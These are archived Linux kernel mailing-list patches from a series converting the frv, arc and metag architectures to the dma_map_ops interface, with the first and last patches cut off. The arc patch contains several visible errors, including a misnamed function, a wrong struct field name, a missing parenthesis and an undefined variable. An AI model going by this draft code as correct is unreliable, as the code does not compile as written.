-	frv_cache_wback_inv((unsigned long) ptr, (unsigned long) ptr + size);
-
-	return virt_to_bus(ptr);
-}
-
-EXPORT_SYMBOL(dma_map_single);
-
-int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	       enum dma_data_direction direction)
+static int frv_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -135,14 +122,49 @@ int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	return nents;
 }
 
-EXPORT_SYMBOL(dma_map_sg);
-
-dma_addr_t dma_map_page(struct device *dev, struct page *page, unsigned long offset,
-			size_t size, enum dma_data_direction direction)
+static dma_addr_t frv_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size,
+		enum dma_data_direction direction, struct dma_attrs *attrs)
 {
 	BUG_ON(direction == DMA_NONE);
 	flush_dcache_page(page);
 	return (dma_addr_t) page_to_phys(page) + offset;
 }
 
-EXPORT_SYMBOL(dma_map_page);
+static void frv_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
+{
+	flush_write_buffers();
+}
+
+static void frv_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sg, int nelems,
+		enum dma_data_direction direction)
+{
+	flush_write_buffers();
+}
+
+
+static int frv_dma_supported(struct device *dev, u64 mask)
+{
+        /*
+         * we fall back to GFP_DMA when the mask isn't all 1s,
+         * so we can't guarantee allocations that must be
+         * within a tighter range than GFP_DMA..
+         */
+        if (mask < 0x00ffffff)
+                return 0;
+	return 1;
+}
+
+struct dma_map_ops frv_dma_ops = {
+	.alloc			= frv_dma_alloc,
+	.free			= frv_dma_free,
+	.map_page		= frv_dma_map_page,
+	.map_sg			= frv_dma_map_sg,
+	.sync_single_for_device	= frv_dma_sync_single_for_device,
+	.sync_sg_for_device	= frv_dma_sync_sg_for_device,
+	.dma_supported		= frv_dma_supported,
+};
+EXPORT_SYMBOL(frv_dma_ops);
diff --git a/arch/frv/mb93090-mb00/pci-dma.c b/arch/frv/mb93090-mb00/pci-dma.c
index 4d1f01d..316b7b6 100644
--- a/arch/frv/mb93090-mb00/pci-dma.c
+++ b/arch/frv/mb93090-mb00/pci-dma.c
@@ -18,7 +18,9 @@
 #include <linux/scatterlist.h>
 #include <asm/io.h>
 
-void *dma_alloc_coherent(struct device *hwdev, size_t size, dma_addr_t *dma_handle, gfp_t gfp)
+static void *frv_dma_alloc(struct device *hwdev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp,
+		struct dma_attrs *attrs)
 {
 	void *ret;
 
@@ -29,29 +31,15 @@ void *dma_alloc_coherent(struct device *hwdev, size_t size, dma_addr_t *dma_hand
 	return ret;
 }
 
-EXPORT_SYMBOL(dma_alloc_coherent);
-
-void dma_free_coherent(struct device *hwdev, size_t size, void *vaddr, dma_addr_t dma_handle)
+static void frv_dma_free(struct device *hwdev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	consistent_free(vaddr);
 }
 
-EXPORT_SYMBOL(dma_free_coherent);
-
-dma_addr_t dma_map_single(struct device *dev, void *ptr, size_t size,
-			  enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	frv_cache_wback_inv((unsigned long) ptr, (unsigned long) ptr + size);
-
-	return virt_to_bus(ptr);
-}
-
-EXPORT_SYMBOL(dma_map_single);
-
-int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	       enum dma_data_direction direction)
+static int frv_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	unsigned long dampr2;
 	void *vaddr;
@@ -79,14 +67,48 @@ int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	return nents;
 }
 
-EXPORT_SYMBOL(dma_map_sg);
-
-dma_addr_t dma_map_page(struct device *dev, struct page *page, unsigned long offset,
-			size_t size, enum dma_data_direction direction)
+static dma_addr_t frv_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size,
+		enum dma_data_direction direction, struct dma_attrs *attrs)
 {
-	BUG_ON(direction == DMA_NONE);
 	flush_dcache_page(page);
 	return (dma_addr_t) page_to_phys(page) + offset;
 }
 
-EXPORT_SYMBOL(dma_map_page);
+static void frv_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
+{
+	flush_write_buffers();
+}
+
+static void frv_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sg, int nelems,
+		enum dma_data_direction direction)
+{
+	flush_write_buffers();
+}
+
+
+static int frv_dma_supported(struct device *dev, u64 mask)
+{
+        /*
+         * we fall back to GFP_DMA when the mask isn't all 1s,
+         * so we can't guarantee allocations that must be
+         * within a tighter range than GFP_DMA..
+         */
+        if (mask < 0x00ffffff)
+                return 0;
+	return 1;
+}
+
+struct dma_map_ops frv_dma_ops = {
+	.alloc			= frv_dma_alloc,
+	.free			= frv_dma_free,
+	.map_page		= frv_dma_map_page,
+	.map_sg			= frv_dma_map_sg,
+	.sync_single_for_device	= frv_dma_sync_single_for_device,
+	.sync_sg_for_device	= frv_dma_sync_sg_for_device,
+	.dma_supported		= frv_dma_supported,
+};
+EXPORT_SYMBOL(frv_dma_ops);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 02/16] arc: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:07 +0100
Lines: 423
Approved: news@gmane.org
Message-ID: <1447093041-21832-3-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093367 18839 80.91.229.3 (9 Nov 2015 18:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:47 +0000 (UTC)
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Haavard Skinnemoen <hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Steven Miao <realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Ley Foon Tan <lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org>,
	David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	Koichi Yasutake <yasutake.koichi-NAum8xwdG0+S7A1Ibl2khg@public.gmane.org>,
	Chris Metcalf <cmetcalf-d5a29ZRxExrQT0dZR+AlfA@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWPLiZjB17Co1B2eb7JE58TQ@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Nov 09 19:22:36 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Zvr4v-00059O-D1
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 09 Nov 2015 19:22:05 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752768AbbKISWC (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:02 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:57825 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751892AbbKISWA (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 9 Nov 2015 13:22:00 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4c-0003H6-NL; Mon, 09 Nov 2015 18:21:48 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:658 gmane.linux.ports.parisc:26141 gmane.linux.ports.sparc:21745 gmane.linux.kernel.iommu:11451
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/658>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/arc/Kconfig                   |   1 +
 arch/arc/include/asm/dma-mapping.h | 187 +------------------------------------
 arch/arc/mm/dma.c                  | 151 ++++++++++++++++++++----------
 3 files changed, 109 insertions(+), 230 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 2c2ac3f..fdf217c 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -38,6 +38,7 @@ config ARC
 	select OF_EARLY_FLATTREE
 	select PERF_USE_VMALLOC
 	select HAVE_DEBUG_STACKOVERFLOW
+	select HAVE_DMA_ATTRS
 
 config TRACE_IRQFLAGS_SUPPORT
 	def_bool y
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index 2d28ba9..2a617f9 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -11,192 +11,13 @@
 #ifndef ASM_ARC_DMA_MAPPING_H
 #define ASM_ARC_DMA_MAPPING_H
 
-#include <asm-generic/dma-coherent.h>
-#include <asm/cacheflush.h>
+extern struct dma_map_ops arc_dma_ops;
 
-void *dma_alloc_noncoherent(struct device *dev, size_t size,
-			    dma_addr_t *dma_handle, gfp_t gfp);
-
-void dma_free_noncoherent(struct device *dev, size_t size, void *vaddr,
-			  dma_addr_t dma_handle);
-
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *dma_handle, gfp_t gfp);
-
-void dma_free_coherent(struct device *dev, size_t size, void *kvaddr,
-		       dma_addr_t dma_handle);
-
-/* drivers/base/dma-mapping.c */
-extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
-			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
-extern int dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size);
-
-#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h, s)
-#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v, h, s)
-
-/*
- * streaming DMA Mapping API...
- * CPU accesses page via normal paddr, thus needs to explicitly made
- * consistent before each use
- */
-
-static inline void __inline_dma_cache_sync(unsigned long paddr, size_t size,
-					   enum dma_data_direction dir)
-{
-	switch (dir) {
-	case DMA_FROM_DEVICE:
-		dma_cache_inv(paddr, size);
-		break;
-	case DMA_TO_DEVICE:
-		dma_cache_wback(paddr, size);
-		break;
-	case DMA_BIDIRECTIONAL:
-		dma_cache_wback_inv(paddr, size);
-		break;
-	default:
-		pr_err("Invalid DMA dir [%d] for OP @ %lx\n", dir, paddr);
-	}
-}
-
-void __arc_dma_cache_sync(unsigned long paddr, size_t size,
-			  enum dma_data_direction dir);
-
-#define _dma_cache_sync(addr, sz, dir)			\
-do {							\
-	if (__builtin_constant_p(dir))			\
-		__inline_dma_cache_sync(addr, sz, dir);	\
-	else						\
-		__arc_dma_cache_sync(addr, sz, dir);	\
-}							\
-while (0);
-
-static inline dma_addr_t
-dma_map_single(struct device *dev, void *cpu_addr, size_t size,
-	       enum dma_data_direction dir)
-{
-	_dma_cache_sync((unsigned long)cpu_addr, size, dir);
-	return (dma_addr_t)cpu_addr;
-}
-
-static inline void
-dma_unmap_single(struct device *dev, dma_addr_t dma_addr,
-		 size_t size, enum dma_data_direction dir)
-{
-}
-
-static inline dma_addr_t
-dma_map_page(struct device *dev, struct page *page,
-	     unsigned long offset, size_t size,
-	     enum dma_data_direction dir)
-{
-	unsigned long paddr = page_to_phys(page) + offset;
-	return dma_map_single(dev, (void *)paddr, size, dir);
-}
-
-static inline void
-dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
-	       size_t size, enum dma_data_direction dir)
-{
-}
-
-static inline int
-dma_map_sg(struct device *dev, struct scatterlist *sg,
-	   int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i)
-		s->dma_address = dma_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir);
-
-	return nents;
-}
-
-static inline void
-dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-	     int nents, enum dma_data_direction dir)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i)
-		dma_unmap_page(dev, sg_dma_address(s), sg_dma_len(s), dir);
-}
-
-static inline void
-dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			size_t size, enum dma_data_direction dir)
-{
-	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
-}
-
-static inline void
-dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle,
-			   size_t size, enum dma_data_direction dir)
-{
-	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
-}
-
-static inline void
-dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			      unsigned long offset, size_t size,
-			      enum dma_data_direction direction)
-{
-	_dma_cache_sync(dma_handle + offset, size, DMA_FROM_DEVICE);
-}
-
-static inline void
-dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction direction)
-{
-	_dma_cache_sync(dma_handle + offset, size, DMA_TO_DEVICE);
+	return &arc_dma_ops;
 }
 
-static inline void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nelems,
-		    enum dma_data_direction dir)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
-}
-
-static inline void
-dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
-		       int nelems, enum dma_data_direction dir)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
-}
-
-static inline int dma_supported(struct device *dev, u64 dma_mask)
-{
-	/* Support 32 bit DMA mask exclusively */
-	return dma_mask == DMA_BIT_MASK(32);
-}
-
-static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-static inline int dma_set_mask(struct device *dev, u64 dma_mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, dma_mask))
-		return -EIO;
-
-	*dev->dma_mask = dma_mask;
-
-	return 0;
-}
+#include <asm-generic/dma-mapping-common.h>
 
 #endif
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index 29a46bb..da289cb 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -17,18 +17,14 @@
  */
 
 #include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
-#include <linux/export.h>
 #include <asm/cache.h>
 #include <asm/cacheflush.h>
 
-/*
- * Helpers for Coherent DMA API.
- */
-void *dma_alloc_noncoherent(struct device *dev, size_t size,
-			    dma_addr_t *dma_handle, gfp_t gfp)
+
+static void *arc_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, struct dma_attrs *attrs)
 {
-	void *paddr;
+	void *paddr, *kvaddr;
 
 	/* This is linear addr (0x8000_0000 based) */
 	paddr = alloc_pages_exact(size, gfp);
@@ -38,22 +34,6 @@ void *dma_alloc_noncoherent(struct device *dev, size_t size,
 	/* This is bus address, platform dependent */
 	*dma_handle = (dma_addr_t)paddr;
 
-	return paddr;
-}
-EXPORT_SYMBOL(dma_alloc_noncoherent);
-
-void dma_free_noncoherent(struct device *dev, size_t size, void *vaddr,
-			  dma_addr_t dma_handle)
-{
-	free_pages_exact((void *)dma_handle, size);
-}
-EXPORT_SYMBOL(dma_free_noncoherent);
-
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *dma_handle, gfp_t gfp)
-{
-	void *paddr, *kvaddr;
-
 	/*
 	 * IOC relies on all data (even coherent DMA data) being in cache
 	 * Thus allocate normal cached memory
@@ -65,22 +45,15 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 	 *   -For coherent data, Read/Write to buffers terminate early in cache
 	 *   (vs. always going to memory - thus are faster)
 	 */
-	if (is_isa_arcv2() && ioc_exists)
-		return dma_alloc_noncoherent(dev, size, dma_handle, gfp);
-
-	/* This is linear addr (0x8000_0000 based) */
-	paddr = alloc_pages_exact(size, gfp);
-	if (!paddr)
-		return NULL;
+	if ((is_isa_arcv2() && ioc_exists) ||
+	    dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)
+		return paddr;
 
 	/* This is kernel Virtual address (0x7000_0000 based) */
 	kvaddr = ioremap_nocache((unsigned long)paddr, size);
 	if (kvaddr == NULL)
 		return NULL;
 
-	/* This is bus address, platform dependent */
-	*dma_handle = (dma_addr_t)paddr;
-
 	/*
 	 * Evict any existing L1 and/or L2 lines for the backing page
 	 * in case it was used earlier as a normal "cached" page.
@@ -95,26 +68,110 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 
 	return kvaddr;
 }
-EXPORT_SYMBOL(dma_alloc_coherent);
 
-void dma_free_coherent(struct device *dev, size_t size, void *kvaddr,
-		       dma_addr_t dma_handle)
+static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
-	if (is_isa_arcv2() && ioc_exists)
-		return dma_free_noncoherent(dev, size, kvaddr, dma_handle);
-
-	iounmap((void __force __iomem *)kvaddr);
+	if (!(is_isa_arcv2() && ioc_exists) ||
+	    dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+		iounmap((void __force __iomem *)kvaddr);
 
 	free_pages_exact((void *)dma_handle, size);
 }
-EXPORT_SYMBOL(dma_free_coherent);
 
 /*
- * Helper for streaming DMA...
+ * streaming DMA Mapping API...
+ * CPU accesses page via normal paddr, thus needs to explicitly made
+ * consistent before each use
  */
-void __arc_dma_cache_sync(unsigned long paddr, size_t size,
-			  enum dma_data_direction dir)
+static void _dma_cache_sync(unsigned long paddr, size_t size,
+		enum dma_data_direction dir)
+{
+	switch (dir) {
+	case DMA_FROM_DEVICE:
+		dma_cache_inv(paddr, size);
+		break;
+	case DMA_TO_DEVICE:
+		dma_cache_wback(paddr, size);
+		break;
+	case DMA_BIDIRECTIONAL:
+		dma_cache_wback_inv(paddr, size);
+		break;
+	default:
+		pr_err("Invalid DMA dir [%d] for OP @ %lx\n", dir, paddr);
+	}
+}
+
+static dma_addr_t arc_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		struct dma_attrs *attrs)
+{
+	unsigned long paddr = page_to_phys(page) + offset;
+	return dma_map_single(dev, (void *)paddr, size, dir);
+}
+
+static int arc_dma_map_sg(struct device *dev, struct scatterlist *sg,
+	   int nents, enum dma_data_direction dir, struct dma_attrs *attrs)
+{
+	struct scatterlist *s;
+	int i;
+
+	for_each_sg(sg, s, nents, i)
+		s->dma_address = dma_map_page(dev, sg_page(s), s->offset,
+					       s->length, dir);
+
+	return nents;
+}
+
+static void arc_dma_sync_single_for_cpu(struct device *dev,
+		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
+{
+	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
+}
+
+static void arc_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
 {
-	__inline_dma_cache_sync(paddr, size, dir);
+	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
 }
-EXPORT_SYMBOL(__arc_dma_cache_sync);
+
+static void arm_dma_sync_sg_for_cpu(struct device *dev,
+		struct scatterlist *sglist, int nelems,
+		enum dma_data_direction dir)
+{
+	int i;
+	struct scatterlist *sg;
+
+	for_each_sg(sglist, sg, nelems, i)
+		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
+}
+
+static void arc_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sglist, int nelems,
+		enum dma_data_direction dir)
+{
+	int i;
+	struct scatterlist *sg;
+
+	for_each_sg(sglist, sg, nelems, i)
+		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
+}
+
+static int arc_dma_supported(struct device *dev, u64 dma_mask)
+{
+	/* Support 32 bit DMA mask exclusively */
+	return dma_mask == DMA_BIT_MASK(32);
+}
+
+struct dma_map_ops arc_dma_ops = {
+	.alloc			= arc_dma_alloc,
+	.free			= arc_dma_free,
+	.map_page		= arc_dma_map_page,
+	.map_sg			= arc_dma_map_sg,
+	.sync_single_for_device	= arc_dma_sync_single_for_device,
+	.sync_single_for_cpu	= arc_dma_sync_single_for_cpu,
+	.sync_sg_for_cpu	= arc_dma_sync_sg_for_cpu,
+	.sync_sg_for_dev	= arc_dma_sync_sg_for_device,
+	.dma_supported		= arc_dma_supported,
+};
+EXPORT_SYMBOL(arc_dma_ops);
-- 
1.9.1


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 12/16] metag: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:17 +0100
Lines: 429
Approved: news@gmane.org
Message-ID: <1447093041-21832-13-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093368 18859 80.91.229.3 (9 Nov 2015 18:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:48 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 09 19:22:33 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Zvr5L-00059O-OO
	for glpm-linux-m68k@plane.gmane.org; Mon, 09 Nov 2015 19:22:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752781AbbKISWa (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:30 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58636 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752426AbbKISW3 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 9 Nov 2015 13:22:29 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr5B-0003fH-PA; Mon, 09 Nov 2015 18:22:22 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7596 gmane.linux.ports.parisc:26142 gmane.linux.kernel.metag:659 gmane.linux.ports.sparc:21746 gmane.linux.kernel.iommu:11452
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7596>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/metag/Kconfig                   |   1 +
 arch/metag/include/asm/dma-mapping.h | 179 +----------------------------------
 arch/metag/kernel/dma.c              | 146 +++++++++++++++++++++-------
 3 files changed, 117 insertions(+), 209 deletions(-)

diff --git a/arch/metag/Kconfig b/arch/metag/Kconfig
index 0b389a8..36af3c0 100644
--- a/arch/metag/Kconfig
+++ b/arch/metag/Kconfig
@@ -29,6 +29,7 @@ config METAG
 	select OF
 	select OF_EARLY_FLATTREE
 	select SPARSE_IRQ
+	select HAVE_DMA_ATTRS
 
 config STACKTRACE_SUPPORT
 	def_bool y
diff --git a/arch/metag/include/asm/dma-mapping.h b/arch/metag/include/asm/dma-mapping.h
index eb5cdec..768f2e3 100644
--- a/arch/metag/include/asm/dma-mapping.h
+++ b/arch/metag/include/asm/dma-mapping.h
@@ -1,178 +1,14 @@
 #ifndef _ASM_METAG_DMA_MAPPING_H
 #define _ASM_METAG_DMA_MAPPING_H
 
-#include <linux/mm.h>
+extern struct dma_map_ops metag_dma_ops;
 
-#include <asm/cache.h>
-#include <asm/io.h>
-#include <linux/scatterlist.h>
-#include <asm/bug.h>
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent(d, s, h, f)
-#define dma_free_noncoherent(d, s, v, h) dma_free_coherent(d, s, v, h)
-
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *dma_handle, gfp_t flag);
-
-void dma_free_coherent(struct device *dev, size_t size,
-		       void *vaddr, dma_addr_t dma_handle);
-
-void dma_sync_for_device(void *vaddr, size_t size, int dma_direction);
-void dma_sync_for_cpu(void *vaddr, size_t size, int dma_direction);
-
-int dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
-		      void *cpu_addr, dma_addr_t dma_addr, size_t size);
-
-int dma_mmap_writecombine(struct device *dev, struct vm_area_struct *vma,
-			  void *cpu_addr, dma_addr_t dma_addr, size_t size);
-
-static inline dma_addr_t
-dma_map_single(struct device *dev, void *ptr, size_t size,
-	       enum dma_data_direction direction)
-{
-	BUG_ON(!valid_dma_direction(direction));
-	WARN_ON(size == 0);
-	dma_sync_for_device(ptr, size, direction);
-	return virt_to_phys(ptr);
-}
-
-static inline void
-dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		 enum dma_data_direction direction)
-{
-	BUG_ON(!valid_dma_direction(direction));
-	dma_sync_for_cpu(phys_to_virt(dma_addr), size, direction);
-}
-
-static inline int
-dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	   enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	BUG_ON(!valid_dma_direction(direction));
-	WARN_ON(nents == 0 || sglist[0].length == 0);
-
-	for_each_sg(sglist, sg, nents, i) {
-		BUG_ON(!sg_page(sg));
-
-		sg->dma_address = sg_phys(sg);
-		dma_sync_for_device(sg_virt(sg), sg->length, direction);
-	}
-
-	return nents;
-}
-
-static inline dma_addr_t
-dma_map_page(struct device *dev, struct page *page, unsigned long offset,
-	     size_t size, enum dma_data_direction direction)
-{
